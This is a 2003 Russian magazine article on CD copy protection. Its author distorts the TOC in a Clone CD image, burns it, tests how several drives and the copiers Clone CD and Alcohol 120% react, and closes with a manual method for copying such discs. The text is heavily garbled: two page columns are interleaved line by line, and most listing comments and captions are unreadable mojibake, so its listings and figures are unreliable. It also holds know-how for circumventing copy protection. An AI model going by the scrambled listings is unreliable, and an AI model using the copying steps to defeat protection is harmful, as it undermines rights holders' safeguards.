Session=2 ; ýëåìåíò ñåññèè 2 INDEX 1=0 ; post-gap?
Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2 â PMin
ADR=0x01 ; q-Mode == 1 Давайте теперь немного поиздеваемся над TOC и уве-
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ личим стартовый адрес первого трека так, чтобы он вы-
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – шел далеко за пределы первой сессии и попал… ну, соб-
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=0 ; \ ственно, куда нибудь он все равно попадет. Чтобы быстро
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà отыскать соответствующую ему запись, воспользуемся
AFrame=0 ; /
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà контекстным поиском. Жмем <F7> и вводим «point=0x1»:
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
; êàê îíî è åñòü Ëèñòèíã 2. Àòðèáóòû òðåêà 1.
PMin=2 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2
; (â ñåññèè òîëüêî îäèí òðåê) [Entry 3] ; äàííûå ýëåìåíòà TOC ¹3
PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Session=1 ; ýëåìåíò ñåññèè 1
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1
PLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ADR=0x01 ; q-Mode == 1
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
[Entry 9] ; äàííûå ýëåìåíòà TOC ¹9 ; äëÿ êîïèðîâàíèÿ
Session=2 ; ýëåìåíò ñåññèè 2 TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè ; ýòî Lead-in-òðåê (ò.å. TOC)
; â PMin:PSec:PFrame AMin=0 ; \
ADR=0x01 ; q-Mode == 1 ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé AFrame=0 ; /
; äëÿ êîïèðîâàíèÿ ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
; ýòî Lead-in-òðåê (ò.å. TOC) ; êàê îíî è åñòü
AMin=0 ; \ PMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1
AFrame=0 ; / ; ñåññèè 1
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PFrame=0 ; /
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, PLBA=0 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1
; êàê îíî è åñòü
PMin=3 ; \
PSec=24 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè Как мы видим, здесь присутствует как абсолютный,
; ñåññèè 2
PFrame=23 ; / измеряемый в минутах, секундах, фреймах, так и LBA-ад-
PLBA=15173 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 2 рес трека, представляющий собой не что иное, как по-
[Entry 10] ; äàííûå ýëåìåíòà TOC ¹10 рядковый номер сектора, считая от нуля. На самом деле,
Session=2 ; ýëåìåíò ñåññèè 2 LBA-адрес – это «отсебятина», добавляемая в файл са-
Point=0x02 ; äàííûå òðåêà 2 ñåññèè 2
ADR=0x01 ; q-Mode == 1 мим Clone CD, и в TOC LBA-адрес не хранится. Судя по
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé всему, Clone CD вычисляет LBA-адрес исходя из сообра-
; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – жений удобства (работать с LBA-адресацией действитель-
; ýòî Lead-in-òðåê (ò.å. TOC) но намного комфортнее). Однако при внесении каких-либо
AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà изменений в CCD-файл за согласованием обоих типов
AFrame=0 ; / адресов нам придется следить самостоятельно. Для пе-
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ревода абсолютных адресов в LBA можно воспользовать-
; êàê îíî è åñòü ся следующей формулой:

№9(10), сентябрь 2003 37


администрирование
Logical Sector Address=(((Minute∗60)+Seconds)∗75+Frame)–150 Шаг пятый
В порядке эксперимента попробуем «прожечь» искажен-
Ниже представлен вид атрибутов трека 1 до и после ный образ в режиме RAW SAO, в котором, как уже было
искажения: сказано выше, корректная запись сессий с искаженным
TOC невозможна. Для гарантированного исключения воз-
Ëèñòèíã 3. Àòðèáóòû òðåêà 1 äî èñêàæåíèé (ñëåâà) è ïîñëå можных побочных эффектов желательно использовать при-
èñêàæåíèÿ (ñïðàâà).
вод, не поддерживающий RAW DAO чисто физически (ну
[Entry 3] [Entry 3] мало ли, вдруг копировщик в плане проявления чудес ис-
Session=1 Session=1
Point=0x01 Point=0x01 кусственного интеллекта автоматически перейдет на более
ADR=0x01 ADR=0x01 подходящий режим записи, игнорируя наши установки).
Control=0x04 Control=0x04
TrackNo=0 TrackNo=0 Мастер записи образов копировщика Alcohol 120% вы-
AMin=0 AMin=0 дает следующую информацию о записываемом образе:
ASec=0 ASec=0
AFrame=0 AFrame=0
ALBA=-150 ALBA=-150 Ëèñòèíã 4. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âû-
Zero=0 Zero=0 äàâàåìàÿ Alcohol. Îáðàòèòå âíèìàíèå íà ðàçìåðû è àäðåñ ïåð-
PMin=0 --> PMin=10 âîãî òðåêà ïåðâîé ñåññèè (îíè âûäåëåíû äðóãèì öâåòîì).
PSec=2 --> PSec=2
PFrame=0 --> PFrame=0 Òèï: Ôàéë-îáðàç Clone CD
PLBA=0 --> PLBA=-1 Ïóòü: L:\
Èìÿ: Image.ccd
Image.img
На самом деле, коварный автор схитрил и вместо вы- Image.sub
числений LBA-адреса сослался на тот факт, что его вер- Ðàçìåð: 8.81 MB
Ñåññèé: 2
сия Clone CD всегда использует абсолютные адреса, а LBA Òðåêîâ: 2
игнорирует.
Ñåññèÿ 01:
Выбор абсолютного адреса первого трека произволь- Òðåê 01: Mode 1, Äëèíà: -42942(8191.92 GB), Àäðåñ: 045000
ный, но осуществленный с таким расчетом, чтобы иска- Ñåññèÿ 02:
Òðåê 02: Mode 1, Äëèíà: 001715(3.3 MB), Àäðåñ: 013458
женный адрес гарантированно вылетал за границы пер-
вой сессии, Lead-out-область которой находится по адре- Вот это номер! Если верить Alcohol, то длина первого
су 00:29:33 (см. элемент TOC №2). трека составляет целых 8 Тб. Этот чудовищный объем не
то что на CD на DVD-диск не влезет! На самом деле, дли-
Шаг четвертый на треков в TOC нигде явным образом не хранится, но
Теперь смонтируем искаженный образ диска на вирту- вычисляется как разница стартовых адресов двух смеж-
альный привод, создаваемый программой Alcohol 120%, ных треков (если же сессия содержит всего один трек, в
и посмотрим, что из этого получилось. Конечно, нет ни- ход идет адрес Lead-out-области, примыкающий к треку).
какой уверенности в том, что виртуальный привод по- Искажение стартового адреса первого трека привело к
ведет себя как настоящий, но ведь и настоящие приво- тому, что разница стартовых адресов Lead-out-области и
ды на искаженных дисках ведут себя по-разному! По- этого самого трека стала отрицательной. Действительно,
этому использовать Alcohol в качестве рабочего «ма- 00:29:33 – 10:02:00 = 2058 – 45000 = – 42942, а если вспом-
кетника» вполне допустимо, тем более что это эконо- нить, что LBA-адреса по стандарту выражаются 32-раз-
мит уйму времени и болванок, ведь монтирование вир- рядными неотрицательными числами, становится понят-
туального диска в отличие от «прожига» болванки осу- но, как Alcohol получил такой неестественно огромный
ществляется мгновенно, если, конечно, оно вообще осу- объем (отрицательные числа – это такие числа, чей стар-
ществляется… Вплоть до версии 1.4.3 включительно – ший бит взведен, отсюда – маленькое отрицательное чис-
самой свежей версии на момент написания этих строк – ло – это очень большое положительное). Расчеты пока-
Alcohol органически не переваривал искаженные обра- зывают, что заявленное Alcohol значение в 8 Тб достига-
зы дисков и отказывался их монтировать, апеллируя к ется лишь при использовании 43-битных переменных. Вот
недоступности образа файла: «Unable to mount image. это да! Alcohol спроектирован с запасом на будущее (а в
File not accessible». Судя по всему, Alcohol понимает будущем нас, как известно, ждут диски с объемами от 30
искаженный TOC слишком буквально, пытаясь отыскать и более гигабайт, для адресации которых 32 бит оказы-
в файле-образе то, чего там заведомо нет (трека, на- вается уже недостаточно, плюс еще необходимо учесть
чинающегося с адреса 10:02:00 и заканчивающегося ад- резерв, предназначенный для «отлова» отрицательных
ресом 00:29:33 там нет точно!). длин, образовавшихся в результате жестоких извраще-
Какая жалость! Возможность монтирования дисковых ний с TOC, ведь Alcohol – это защищенный копировщик!)
образов с искаженным TOC позволила бы нам преодоле- И вот наступает волнующий момент – момент заливки
вать защиту от копирования на любых пишущих приво- искаженного образа на CD-R/CD-RW-диск (внимание! ис-
дах, а не только на тех, что поддерживают режим RAW пользуя CD-RW-диск, вы должны отдавать себе отчет в том,
DAO, – просто сбрасываем образ защищенного диска на что можете его безвозвратно потерять! Если ваш единствен-
болванку в виде обыкновенного файла и динамически ный пишущий привод откажется опознавать такой диск, очи-
монтируем его Alcohol по мере необходимости. Выходит, стка последнего окажется невозможной!). Благополучно
что на проверку Alcohol оказывается гораздо менее крут, проглотив искаженный образ, Alcohol, безо всяких препи-
чем это кажется! рательств со своей стороны зажигает огонек индикации за-

38
администрирование
писи (если, конечно, на вашем приводе он есть) и приступа- лифицированные пользователи, использующие Clone CD
ет к делу. Проходит минута, другая… а индикатор прогрес- для своих нужд? В общем мрак, одним словом…
са по-прежнему остается на нуле. К исходу шестой минуты, Правда, в режиме RAW DAO нарезка искаженного обра-
когда пишущая головка достигает кромки диска, процесс за протекает отлично и Clone CD не вносит в TOC никакой
записи аварийно прерывается приводом и Alcohol, издав отсебятины, благодаря чему у нас образуется действитель-
грустное «бэмс», сигнализирует об аппаратной ошибке. но защищенный CD, который мы сейчас и будем ломать.
Просмотр «недорезанного» диска на приводах ASUS
и NEC обнаруживает лишь первую сессию, а от второй не Шаг шестой
видно и следа. С приводом PHILIPS дела обстоят еще Просмотр защищенного диска под приводом NEC показы-
хуже – он вообще отказывается признавать засунутую в вает все файлы, даже те, что принадлежат первому тре-
него штуку лазерным диском, и после непродолжитель- ку – тому самому треку, чей стартовый адрес жестоко ис-
ного скрежета своих механических внутренностей, сопро- кажен. Двойной щелчок мышью доказывает, что файлы
вождаемых натужными завываниями перебирающего раз- не только присутствуют в каталоге, но и успешно открыва-
личные скорости мотора, индикатор «DISC IN» прощаль- ются ассоциированным с ними приложениям и, судя по
но гаснет. «Прощально» в том смысле, что с испорчен- всему, выглядят вполне нормальными. Нашу душу начина-
ной болванкой вам придется расстаться. Конечно, если ют грызть смутные сомнения: действительно ли пишущий
это всего лишь дешевый CD-R, то туда ему и дорога, но привод записал стартовый адрес первого трека таким, ка-
потерять CD-RW жалко. К счастью, на NEC очистка диска ким мы просили, или молчаливо исправил его на лету?
протекает успешно, и, воодушевленные этим обстоятель- Для ответа на этот вопрос мы должны исследовать гео-
ством, мы продолжаем свои издевательства вновь. метрию диска, т.е., попросту говоря, прочитать TOC. Запус-
Копировщик Clone CD ведет себя в этом отношении каем уже полюбившийся нам Roxio Easy CD Creator и в меню
иначе. Во-первых, он оценивает длину искаженного тре- «CD» находим пункт «CD Information». Щелкаем по нему
ка в 4 294 868 664 Кб (см. листинг, приведенный ниже), мышкой, и на экран тут же выпрыгивает диалоговое окно с
что указывает на использование 32-разрядных перемен- раскладкой диска (внимание! не все программы способны
ных и вытекающую отсюда невозможность отличать по- «переваривать» искаженный TOC! Easy CD Creator это уме-
ложительные длины от отрицательных. ет, а вот, например, Record NOW! – нет. В отсутствии подхо-
дящей утилиты вы можете воспользоваться программой
Ëèñòèíã 5. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âû- raw.TOC.exe, поставляемой вместе с этой книгой).
äàâàåìàÿ Clone CD. Îáðàòèòå âíèìàíèå íà ðàçìåð ïåðâîãî òðå-
êà ïåðâîé ñåññèè (îí âûäåëåí äðóãèì öâåòîì). Как и следовало ожидать, стартовый адрес первого
трека лежит далеко за пределами своей «родной» сес-
ÈÍÔÎÐÌÀÖÈß Î ÔÀÉËÅ-ÎÁÐÀÇÅ:
сии, и его длина, будучи выраженная положительным чис-
×èñëî ñåññèé: 2 лом, значительно превышает доступную емкость диска
Çàíÿòî íà äèñêå: 34850 Êáàéò
Ñåêòîðîâ: 15173 (см. рис. ниже). Так что все наши волнения абсолютно бе-
Âðåìÿ: 03:22:23 (ìèí:ñåê:êàäð) зосновательны!
ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1:
Ðàçìåð ñåññèè: 4726 Êáàéò
×èñëî òðåêîâ: 1
Pregap: Äàííûå Mode 1, ðàçìåð: 103359 Êáàéò
Track 1: Äàííûå Mode 1, ðàçìåð: 4294868664 Êáàéò

ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 2:
Ðàçìåð ñåññèè: 3939 Êáàéò
×èñëî òðåêîâ: 1
Track 2: Äàííûå Mode 1, ðàçìåð: 3939 Êáàéò

Во-вторых, обнаружив, что запись искаженного TOC


на данном приводе невозможна, Clone CD корректирует
TOC так, чтобы его облик принял человеческий вид. В
результате процесс «прожига» протекает без каких-либо
ошибок и мы получаем как будто бы работоспособный
диск. Стартовый адрес первого трека начинается там, где
кончается Lead-in-область первой сессии (точнее, pre-gap
первого трека начинается там, где кончается post-gap
Lead-in-области первой сессии, но это уже детали). Такой Ðèñóíîê 1. Îòðèöàòåëüíàÿ äëèíà ïåðâîãî òðåêà ñâîäèò øòàòíûé
диск нормально читается в любом приводе CD-ROM, но! êîïèðîâùèê ñ óìà
Если защитный механизм прочитает содержимое TOC, он Постойте, но как же тогда осуществляется доступ к со-
легко обнаружит, что имеет дело с копией, но не с ориги- держимому первого трека? А кто вам вообще сказал, что
налом. Спрашивается: и на кой черт нам такое копирова- лазерный диск адресуется по трекам?! Основной адреса-
ние нужно?! Хоть бы предупреждение было какое… Лад- цией лазерного диска с данными является сектор. Абсо-
но, профессионалы запросто определят, в чем подвох, но лютный же адрес всякого сектора однозначно определяет-
в каком положении окажутся новички, и/или просто ква- ся принадлежащим ему Q-каналом подкода (с учетом не-

№9(10), сентябрь 2003 39


администрирование
совпадения границ секций и секторов максимально воз- Еще до завершения процесса копирования нас начи-
можное расхождение, допускаемое стандартом, составля- нают одолевать стойкие сомнения или, я бы даже сказал,
ет 1 сек, т.е. 75 секторов, поэтому этот способ использует- непоколебимая уверенность в том, что диск будет скопи-
ся лишь для грубого позиционирования оптической голов- рован неправильно. И действительно, чего мы опасались,
ки). Точная наводка на цель выполняется непосредствен- то мы и получили! Давайте создадим образ скопирован-
но по самому секторному заголовку, в явном виде содер- ного диска в плане сравнения копии TOC с оригиналом.
жащему его абсолютный адрес. Номера треков в процессе
обработки сектора вообще не участвуют, вернее могут и Ëèñòèíã 7. Îáðàç çàùèùåííîãî äèñêà, ñíÿòûé ïðîãðàììîé
Clone CD (íåñîîòâåòñòâóþùèå ïîëÿ âûäåëåíû äðóãèì öâåòîì).
не участвовать… Но могут ведь и участвовать! Все зави-
сит от электронной начинки привода и его микропрограмм- [CloneCD] ; äàííûå î êîïèðîâùèêå
Version=3 ; âåðñèÿ Clone CD
ной прошивки. Как именно они в этом участвуют – сие есть
великая тайна разработчиков привода, и простым смерт- [Disc] ; äàííûå î äèñêå
TocEntries=7 ; êîëè÷åñòâî ýëåìåíòîâ TOC = 7
ным ее понять не дано. Но так или иначе, встретив некор- ; (â îðèãèíàëå áûëî 12)
ректный TOC, некоторые приводы запутываются, и в строй- Sessions=1 ; êîë-âî ñåññèé = 1
; (â îðèãèíàëå áûëî 2)
ных битовых рядах возникает настоящая сумятица. DataTracksScrambled=0 ; ïîëå DVD
Результаты тестирования трех моих приводов следую- CDTextLength=0 ; CD-Text â ïîëÿõ ïîäêîäà
; Lead-in-îáëàñòè îòñóòñòâóåò
щие: NEC, как уже говорилось выше, показывает содер- [Session 1] ; äàííûå ñåññèè 1
жимое обоих секций, корректно обрабатывая их содержи- PreGapMode=1 ; òèï òðåêà == Mode 1
PreGapSubC=0 ; äàííûõ ïîäêàíàëà – íåò
мое. ASUS показывает только первую – искаженную – сес-
сию и в упор не видит вторую, делая ее недоступной даже [Entry 0] ; äàííûå ýëåìåíòà TOC ¹0
Session=1 ; ýëåìåíò ñåññèè 1
на секторном уровне. Зато файлы первой сессии обраба- Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 1
тываются вполне корректно. PHILIPS, напротив, видит обе ; â PMin/òèï äèñêà â PSec
ADR=0x01 ; q-Mode == 1
сессии, но корректно обрабатывает файлы лишь последней Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
из них (т.е. той, что не искажена). Искаженная сессия дос- ; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
тупна на секторном уровне, но нестабильно. Иногда без ; ýòî Lead-in-òðåê (ò.å. TOC)
всяких видимых причин PHILIPS и возвращает лишенный AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
всякого смысла мусор. AFrame=0 ; /
Мораль: защитные механизмы, базирующиеся на ис- ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
каженном TOC, не могут закладываться ни на одну из сес- ; êàê îíî è åñòü
сий. Поэтому обе сессии должны дублировать содержи- PMin=1 ; íîìåð ïåðâîãî òðåêà ñåññèè 1
PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1
мое друг друга – авось хоть одну из них привод пользова- PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè
теля да прочтет. Какой же тогда в этой защите смысл? А PLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü
вот какой – пускай защита не может без риска для жизни [Entry 1] ; äàííûå ýëåìåíòà TOC ¹1
привязаться к сессиям, она может привязаться к сырому Session=1 ; ýëåìåíò ñåññèè 1
Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMin
содержимому TOC. О том, как осуществить такую при- ADR=0x01 ; q-Mode == 1
вязку на практике, мы поговорим чуточку позднее, а пока Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ
попробуем скопировать защищенный диск нашими фа- TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
воритами – Clone CD и Alcohol 120%. ; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
Автоматическое копирование AFrame=0
ALBA=-150
;
;
/
LBA-àäðåñ òåêóùåãî òðåêà
и обсуждение его результатов Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
В какой бы привод защищенный диск ни был вставлен, Clone ; êàê îíî è åñòü
PMin=1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1
CD выдает неизменно постоянный результат, не имеющий ; (â ñåññèè òîëüêî îäèí òðåê)
ничего общего с реальной действительностью. По его скром- PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè
ному мнению, диск содержит всего одну сессию с общей PLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD
протяженностью в 4,6 Мб, но зато размер единственного ; êàê LBA-àäðåñ, ò.å. ãëóïîñòü
[Entry 2] ; äàííûå ýëåìåíòà TOC ¹2
трека последней составляет ни много ни мало – 3,9 Тб! Session=1 ; ýëåìåíò ñåññèè 1
Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè
; â PMin:PSec:PFrame
Ëèñòèíã 6. Òàêèì âèäèò çàùèùåííûé äèñê êîïèðîâùèê Clone CD. ADR=0x01 ; q-Mode == 1
Îáðàòèòå âíèìàíèå, ÷òî îí ðàñïîçíàë ëèøü îäíó ñåññèþ èç äâóõ Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
(ïåðâóþ), äà è òî íåïðàâèëüíî. ; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
ÈÍÔÎÐÌÀÖÈß Î CD Â ÄÈÑÊÎÂÎÄÅ: ; ýòî Lead-in-òðåê (ò.å. TOC)
×èñëî ñåññèé: 1 AMin=0 ; \
Çàíÿòî íà äèñêå: 4726 Êáàéò ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
Ñåêòîðîâ: 2058 AFrame=0 ; /
Âðåìÿ: 00:27:33 (ìèí:ñåê:êàäð) ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1: ; êàê îíî è åñòü
PMin=0 ; \
Ðàçìåð ñåññèè: 4726 Êáàéò PSec=29 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè
×èñëî òðåêîâ: 1 ; ñåññèè 1
Pregap: Äàííûå Mode 1, ðàçìåð: 103359 Êáàéò PFrame=33 ; /
Track 1: Data, ðàçìåð: 4294868664 Êáàéò PLBA=2058 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1

40
администрирование
[Entry 3] ; äàííûå ýëåìåíòà TOC ¹3 сохранились, оказались неожиданно измененными поля
Session=1 ; ýëåìåíò ñåññèè 1
Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1 Application Code и ATIP (и это несмотря на то, что запись про-
ADR=0x01 ; q-Mode == 1 изводилась на ту же самую CD-RW-болванку, что и раньше,
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ хотя ее «прожиг» осуществлялся различными приводами).
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – Как следствие: скопированный диск оказывается рабо-
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=0 ; \ тоспособен не на всех приводах (ASUS и NEC его прочита-
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà ют, а вот PHILIPS – нет), к тому же защите ничего не стоит
AFrame=0 ; /
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà прочитать текущий TOC и сравнить его с эталонным.
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, Короче говоря, «факир был пьян, и фокус не удался».
; êàê îíî è åñòü
PMin=10 ; \ Что ж, попробуем обратиться за помощью к Alcohol– уж
PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1 он-то должен наверняка с этим справиться. Действитель-
; ñåññèè 1
PFrame=0 ; / но, Alcohol видит обе сессии: как искаженную, так и неис-
PLBA=45000 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1 каженную, однако по малопонятным причинам сохраняет
[Entry 4] ; äàííûå ýëåìåíòà TOC ¹4 в образ лишь вторую из них (Clone CD сохранял первую).
Session=1 ; ýëåìåíò ñåññèè 1 Ну что это за зоопарк, а? Содержимое TOC скопированно-
Point=0xb0 ; ïîçèöèÿ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
; â AMin:ASec:AFrame го диска можно даже и не сравнивать – там будет далеко
ADR=0x05 ; q-Mode == 1 не то, что защита собирается ожидать. И напрасно! Содер-
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ жимое TOC, снятое Alcohol, практически полностью соот-
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ветствует оригиналу. Единственно, в чем ошибся Alcohol, –
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=2 ; \ определил тип pre-gap обоих треков не как Mode 1, но как
ASec=59 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé Mode 2. Впрочем, в силу отсутствия в образе первой сес-
; çàïèñûâàåìîé îáëàñòè
AFrame=33 ; / сии полученная с его помощью копия диска все равно ока-
ALBA=13308 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè зывается неработоспособной.
Zero=3 ; êîëè÷åñòâî pointer â Mode 5
PMin=22 ; \
PSec=14 ; + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé
; çàïèñûâàåìîé îáëàñòè
PFrame=34 ; /
PLBA=99934 ; LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé
; îáëàñòè
[Entry 5] ; äàííûå ýëåìåíòà TOC ¹5
Session=1 ; ýëåìåíò ñåññèè 1
Point=0xc0 ; ñòàðòîâûé àäðåñ Lead-in-îáëàñòè
; Hybrid-äèñêà (åñëè îí åñòü)
ADR=0x05 ; Mode 5 (Îðàíæåâàÿ êíèãà)
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
; ýòî Lead-in-òðåê (ò.å. TOC)
AMin=162 ; ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ
ASec=200 ; Application code (â îðèãèíàëå çäåñü
; áûëî 128)
AFrame=224 ; â îðèãèíàëå çäåñü áûëî 140
ALBA=294074 ; LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåé
Zero=0 ; çàðåçåðâèðîâàíî
PMin=97 ; \
PSec=27 ; + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè
; Hybrid-äèñêà
PFrame=21 ; / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà,
; ò.å. Hybrid-äèñêà íåò) Ðèñóíîê 2. Alcohol âèäèò îáå ñåññèè çàùèùåííîãî äèñêà, íî…
PLBA=-11604 ; LBA-àäðåñ Lead-in-îáëàñòè Hybrid
; (âû÷èñëåí ñ ïåðåïîëíåíèåì)
[Entry 6] ; äàííûå ýëåìåíòà TOC ¹6
Session=1 ; ýëåìåíò ñåññèè 1
Point=0xc1 ; êîïèÿ ATIP-èíôîðìàöèè
ADR=0x05 ; -+
Control=0x04 ; -+
TrackNo=0 ; -+
AMin=4 ; -+
ASec=192 ; -+
AFrame=150 ; -+- ATIP (èçìåíåíà!)
ALBA=32400 ; -+
Zero=0 ; -+
PMin=0 ; -+
PSec=0 ; -+
PFrame=0 ; -+
PLBA=-150
[TRACK 1]
MODE=0
INDEX 1=45000

Сокращение сессий с двух до одной очень сильно сму-


щает. Куда девалась вторая – неискаженная(!) сессия, во-
Ðèñóíîê 3. Êîïèðóåò ëèøü âòîðóþ èç íèõ, à ïåðâóþ íàãëî
обще непонятно. И, хотя искаженные данные первого трека ïðîïóñêàåò

№9(10), сентябрь 2003 41


администрирование
А ведь заявлялось, что Clone CD/Alcohol 120% способ- ем, что LBA-адрес последнего значимого сектора первой
ны копировать любые существующие на сегодняшний мо- сессии составляет 2057 или, в пересчете на абсолютные
мент защищенные диски, и вдруг на поверку оказывается, единицы – 00 минут, 29 секунд и еще 32 фрейма. Соответ-
что даже такую простую защиту, которую может создать ственно, LBA-адрес первого сектора второй сессии равен
на кончике пенька любой программист, они преодолеть ни 13308 + 150 (pre-gap) == 13458, или 3 минуты, 1 секунда,
вместе, ни по раздельности не в состоянии! Причем аппа- 33 фрейма. Конечно, если исследуемый диск содержит боль-
ратура, на которой все эти эксперименты и осуществля- шое количество ошибок, то его анализ значительно услож-
лись, возможность корректного копирования искаженного няется, т.к. физические дефекты на секторном уровне мо-
диска гарантированно поддерживает (сам проверял), и гут выглядеть точно так же, как Lead-In/Lead-Out-области,
потому отмахнуться физическими ограничениями приво- конечно, при том условии, что дефективные области имеют
дов разработчикам обоих копировщиков уже не удастся! соответствующую протяженность, – а это вряд ли.
Даже не верится, что такой простой прием «ослепля- Отбросив сектора, расположенные в зонах pre- и post-
ет» лучших копировщиков защищенных дисков! Неужели gap (т.е. 150 секторов от конца первой читаемой области и
и вправду создание некопируемых дисков вполне осуще- ровно столько же от начала следующей), мы должны объе-
ствимо на обыкновенном бытовом оборудовании?! Да! динить их в один файл, используя для этой цели любой
Именно так! Конечно, не стоит путать некопируемость диска файловый копировщик (например, штатную команду MS-
автоматическими копировщиками с принципиальной невоз- DOS copy file_1 /b + file_2 image.img). Остается прочитать
можностью получения его идентичной копии. В ручном ре- сырой TOC SCSI/ATAPI командой READ TOC (opcode: 43h,
жиме копирование таких дисков вполне осуществимо (прав- format: 2h) и записать его в image.ccd файл в соответствии
да, при условии, что ваш пишущий привод поддерживает с синтаксисом Clone CD. Как альтернативный вариант –
режим RAW DAO, а читающий – читает сектора из обоих можно воспользоваться ccd-файлом, сформированным
